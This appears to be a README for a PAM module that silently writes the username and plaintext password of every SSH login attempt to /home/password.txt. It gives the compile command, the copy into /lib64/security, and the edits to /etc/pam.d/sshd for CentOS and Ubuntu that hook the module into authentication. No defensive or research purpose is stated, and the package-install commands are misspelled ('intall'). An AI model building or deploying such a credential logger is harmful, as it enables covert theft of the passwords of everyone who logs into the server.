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A light PAM module to log user's username and password.

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PAM_MY_UNIX

How to use

  • Dependency resolution

    CentOS

    yum intall pam-devel

    Ubuntu

    apt-get intall libpam-dev
  • check password file path This module will put username/password to /home/password.txt, you can change it in main.c. Just edit const char *log_filename = "/home/password.txt"; and compile this PAM module.

  • compile

    cc main.c -o pam_my_unix.so -fPIC -m64 -shared -lpam
  • move to the right directory

    cp ./pam_my_unix.so /lib64/security/
  • edit sshd's pam config.

    CentOS

    vim /etc/pam.d/sshd

    And add the next line after the latest auth interface module:

    auth optional pam_my_unix.so

    Maybe you file looks like this after you edit it.

    ...
    auth       required     pam_unix.so nullok
    auth       optional     pam_my_unix.so
    account    required     pam_nologin.so
    account    include      password-auth
    ...
    

    Ubuntu

    cp /etc/pam.d/common-auth /etc/pam.d/sshd-auth
    vim /etc/pam.d/sshd-auth

    And the sshd-auth file looks like this below:

    auth	required            pam_unix.so nullok_secure
    auth    optional            pam_my_unix.so
    auth	required			pam_permit.so
    

    And then edit /etc/pam.d/sshd and change

    @include common-auth
    

    to

    @include sshd-auth
    
  • result When someone who is trying to auth via ssh, his username and password will log into a file. result

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